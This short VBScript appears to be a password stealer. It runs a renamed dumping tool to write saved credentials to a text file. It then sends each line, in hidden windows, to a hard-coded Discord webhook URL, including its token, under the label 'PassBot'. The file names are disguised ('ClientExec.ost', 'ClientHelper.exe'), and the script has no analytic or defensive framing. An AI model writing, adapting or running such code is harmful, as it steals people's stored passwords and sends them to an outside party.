ye

Set oShell = CreateObject ("WScript.Shell")
oShell.run "cmd.exe /c call ClientExec.ost /stext file.txt"
Set fso = CreateObject("Scripting.FileSystemObject")
Set dict = CreateObject("Scripting.Dictionary")
Set file = fso.OpenTextFile("file.txt",1,,-1)
row = 0
Do Until file.AtEndOfStream
    line = file.Readline
    dict.Add row, line
    row = row + 1
Loop

file.Close

For Each line in dict.Items
    oShell.run "ClientHelper.exe https://discordapp.com/api/webhooks/643696024329781250/iTm9Uhlz1tA093XMrmxvDhb9dm6eZ9BA5LL7oyYmTm2HJOO9dQxdooUnAPTOcvP23biy """ & line & """ PassBot", 0, False
    WScript.Sleep(2000)
Next